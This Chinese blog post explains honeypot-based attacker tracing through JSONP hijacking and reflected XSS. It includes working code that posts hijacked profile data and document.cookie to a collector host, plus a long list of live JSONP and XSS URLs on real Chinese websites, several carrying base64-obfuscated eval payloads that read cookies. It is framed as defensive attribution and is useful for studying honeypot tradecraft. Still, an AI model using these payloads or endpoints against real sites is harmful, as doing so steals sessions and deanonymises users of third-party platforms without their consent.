蜜罐溯源原理

网络安全 · 2023-10-22 · 1277 人浏览

什么是蜜罐?

吸引

蜜罐,原意为猎人用于猎杀熊所放置的诱饵,熊会被蜜罐中的蜂蜜吸引,从而掉入猎人的陷阱。对于网络安全领域来说,蜜罐就是一台有漏洞特征的服务器。当攻击者使用漏洞扫描器扫描到蜜罐时,蜜罐会返回该漏洞攻击成功的特征值,从而诱骗攻击者使用自己的计算机访问蜜罐,完成吸引阶段。

攻击

蜜罐的攻击手法依赖于CSRF漏洞与反射型XSS漏洞,通过CSRF漏洞获取攻击者的身份信息,比较常见的是利用JSONP劫持来获取攻击者的身份信息;而通过XSS漏洞获取身份信息比较直接。

蜜罐案例:JSONP劫持

这个劫持的原理是利用了<script>标签会自动执行js代码的原理,从而调用页面内嵌的恶意函数,将数据发送至攻击者的服务器,从而导致信息泄露。

JSONP接口会返回一个js的函数调用,URL一般形式为https://xxx/getjsonp?callback=jsonp,返回数据形式如下:

jsonp({"id":1, "num": 123456})
fuction jsonp(){return{"id":1, "num": 123456};}

假设某大型社交网站的JSONP接口可以获取个人信息且存在JSONP劫持的问题,溯源人员可以利用该漏洞搭建蜜罐网站http://x.x.x.x:xxx,在网站中内嵌以下恶意代码:

<script type="text/javascript">
function hack(jsonData)
{
    const Http = new XMLHttpRequest();
    const url='http://x.x.x.x:xxx/collect-jsonp';
    Http.open("POST", url, true);
    Http.setRequestHeader('Content-Type', 'application/json');

    Http.send(JSON.stringify(jsonData));

    Http.onreadystatechange = (e) => {
        console.log(Http.responseText)
    }
}
</script>
<script src='http://xxx/getjsonp?callback=hack'></script>

当攻击者在该社交网站拥有账户且在登录该社交网站的情况下访问此蜜罐,溯源人员即可收集到攻击者的在该社交网站上的信息。

蜜罐案例:XSS

XSS——跨站脚本漏洞攻击,主要针对网站应用程序,属于代码注入漏洞,类似于SQL注入漏洞。这种漏洞会使恶意代码注入网页应用程序,使其他用户在浏览网页时受到影响,一般被用于钓鱼骗取密码等操作。

XSS漏洞原理是将恶意的script代码包含在网页的代码中,使其他用户点击链接之后,在正常的页面中看到恶意代码触发的内容,从而使用户相信恶意代码是来自于正常页面而受骗,从而被获取敏感信息。

场景:该页面可以输出你刚刚输入的数据,并且没有对数据做任何处理。

<form action="" method="get">
    <h6>
        输入你想输出的字符- 了解CSRF漏洞的原理以及其利用方式,
    </h6>
    <input type="text" name="txt" value=""><br />
    <input type="submit">
</form>
<?php
    if(isset($_GET['txt']))
    {
        echo '<input type="text" value='.$_GET['txt'].'">';
    }
    else
    {
        echo '<input type="text" value=输出">';
    }
?>

这里可以构造一个输入"><img src=1 onerror=alert(/XSS/) />
这句换是HTML代码,页面会调用源为1的图片来嵌入页面,这时会发生错误就会执行onerror来调用alert函数实现弹窗,这样就完成了一次反射型XSS攻击。

在蜜罐实践中,如果一个社交网站或者技术社区存在通过GET方式建立反射型XSS,那么我们可以利用这个漏洞来获取攻击者在该网站的Cookie。
场景:

<?php
session_start();

if (isset($_POST['name']) && isset($_POST['phone']))
{
    $_SESSION['name'] = $_POST['name'];
    $_SESSION['phone'] = $_POST['phone'];
    $_SESSION['userID'] = mt_rand();
}
if (isset($_SESSION['name']) && isset($_SESSION['phone']) && isset($_SESSION['userID']))
{
    echo $_SESSION['name'] . ' say: ' . $_GET['message'] . "<br>";
    echo "Name: " . $_SESSION['name'] . "<br>";
    echo "Phone: " . $_SESSION['phone'] . "<br>";
    echo "User ID: " . $_SESSION['userID'] . "<br>";
}
else
{
    echo "<form action='test.php?message=hello!' method='post'>";
    echo "Name: <input type='text' name='name'><br>";
    echo "Phone: <input type='text' name='phone'><br>";
    echo "<input type='submit' value='Register'>";
    echo "</form>";
}
?>

一个很简单的注册并展示信息的功能,在message参数上存在XSS漏洞。。
Pasted image 20231022132812.png
利用XSS漏洞获取Cookie。

<script>img = new Image();img.src = "http://192.168.1.111/test/cookie.php?cookie="+document.cookie;</script>

payload需要使用URL编码后发送,否则+号会被识别为空格。
Pasted image 20231022132930.png
Pasted image 20231022132945.png
Pasted image 20231022133119.png

完成这一些之后,即可构造恶意网页。

<script>window.location.replace('http://127.0.0.1/test/test.php?message=%3Cscript%3Eimg%20%3D%20new%20Image()%3Bimg.src%20%3D%20%22http%3A%2F%2F192.168.1.111%2Ftest%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E');</script>

当攻击者注册了当前网站,并且访问溯源人员的恶意页面时:
攻击者信息:
Pasted image 20231022133716.png

攻击者访问蜜罐:
Pasted image 20231022135033.png

溯源人员获取Cookie:
Pasted image 20231022135059.png

蜜罐接口案例:X宁

在X宁的个人信息获取页面存在JSONP劫持的问题,该接口也是现在各大主流蜜罐系统会请求的地址。

https://loginst.suning.com/authStatus?callback=getuid
返回用户的会员编号:
getuid({"authStatusResponse":true,"hasLogin":true,"principal":"74******87"});
https://myjr.suning.com/sfp/mutualTrust/getLoginInfo.htm?callback=nick
返回用户的昵称:
nick({"nick":"XXX..."})

蜜罐接口收集

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.4515320024420155

https://bbs.zhibo8.cc/user/userinfo?device=pc&_=1584613345023&callback=jcbDNoDtQbW&callback=callback_165893378313192912

https://myjr.suning.com/sfp/mutualTrust/getLoginInfo.htm?callback=getphone

https://myjr.suning.com/sfp/headPic/getEgoMemberHeadPicUrl.htm

https://ajax.58pic.com/58pic/index.php?m=adManageSystem&a=showAdDeliveryForPosition&callback=%3Cscript%3Eeval(atob(%27ZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIAp7IAogICAgdmFyIGFycixyZWc9bmV3IFJlZ0V4cCgiKF58ICkiK25hbWUrIj0oW147XSopKDt8JCkiKTsKIAogICAgaWYoYXJyPWRvY3VtZW50LmNvb2tpZS5tYXRjaChyZWcpKQogCiAgICAgICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChhcnJbMl0pOyAKICAgIGVsc2UgCiAgICAgICAgcmV0dXJuIG51bGw7IAp9CndpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoeyJuYW1lIjoicWlhbnR1IiwiZGF0YSI6eyJ1aWQiOmdldENvb2tpZSgicXRfdWlkIil9fSwnKicpOw==%27))%3C/script%3E&position=31&keyword=XXX&_=1590829943379

https://my.zol.com.cn/public_new.php

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.04630644674906281

https://access.video.qq.com/trans/pay.video.qq.com/fcgi-bin/payvip?vappid=68106135&vsecret=e667570eb833960cc41051d498df1c233308eb195dba2cc3&getannual=1&geticon=1&getsvip=1&otype=json&callback=jQuery19104991404611435173_1562551736901&uin=a&t=1&getadpass=0&g_tk=a&g_vstk=a&g_actk=&_=15625517369020.38244545320223655

http://my.zol.com.cn/public_new.php

https://loginst.suning.com/authStatus?callback=getuid

https://www.fhyx.com/account/login.html?redirecturl=%22%3E%3CSCrIpT%3Eeval(atob(unescape(location.hash.slice(1))))%3C/SCrIpT%3E

https://so.u17.com/all/%22%3C/span%3E%250a%3Cimg%2520src=1%20onerror=%22document.body.innerHTML=location.search;document.body.innerHTML=document.body.innerText;%22%3E%250a%22/m0_p1.html?&lt;img/src=&quot;x&quot;/onerror=a=eval;a(atob(unescape(location.hash.slice(1))))&gt;

https://i.vip.iqiyi.com/client/store/pc/checkout.action?platform=b6c13e26323c537d&fs=&fsSign=&fc=&fv=&qc005=&P00001=&pid=adb3376b039b970b&vipType=2&aid=&device_id=&callback=callback_165893378307001282

https://login.sina.com.cn/sso/login.php?client=&service=&client=&encoding=&gateway=1&returntype=TEXT&useticket=0&callback=sina2&_=1577938268947&callback=callback_165893378307919803

https://v-api-plus.huya.com/jsapi/getUserInfo?callback=jQuery1111007865243652615272_1628490347897&_=1628490347898&callback=callback_165893378306693233

http://mapp.jrj.com.cn/pc/content/getMqNews?vname=%3Csvg%20onload=eval(atob(%27ZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIAp7IAogICAgdmFyIGFycixyZWc9bmV3IFJlZ0V4cCgiKF58ICkiK25hbWUrIj0oW147XSopKDt8JCkiKTsKIAogICAgaWYoYXJyPWRvY3VtZW50LmNvb2tpZS5tYXRjaChyZWcpKQogCiAgICAgICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChhcnJbMl0pOyAKICAgIGVsc2UgCiAgICAgICAgcmV0dXJuIG51bGw7IAp9CndpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoeyJuYW1lIjoianJqIiwiZGF0YSI6eyJ1aWQiOmdldENvb2tpZSgibXlqcmpfdXNlcmlkIil9fSwnKicpOw==%27))%3E

https://www.ixueshu.com/index.html?v=1608893853571&template=sys_login_ajax.html&_url=123123123%22%22%3E%3CsCrIpT%3Eeval(atob(unescape(location.hash.slice(1))))%3C/sCrIpT%3E

https://hackit.me/v.qq.com/

https://api.csdn.net/oauth/authorize?client_id=1000001&redirect_uri=http://www.iteye.com/auth/csdn/callback&response_type=%22https%3A%2F%2Fapi.csdn.net%2Foauth%2Fauthorize%3Fclient_id%3D1000001%26redirect_uri%3Dhttp%3A%2F%2Fwww.iteye.com%2Fauth%2Fcsdn%2Fcallback%26response_type%3D%22%3E%3Cimg%20src%3Dx%20onerror%3Deval(window.name)%3E

蜜罐识别工具

https://github.com/Monyer/antiHoneypot

原理解析 CSRF XSS 蜜罐 honeypot 1277 Views
  1. 1 9 天前

    hello

本站已在互联网运行了 Theme Jasmine by Kent Liao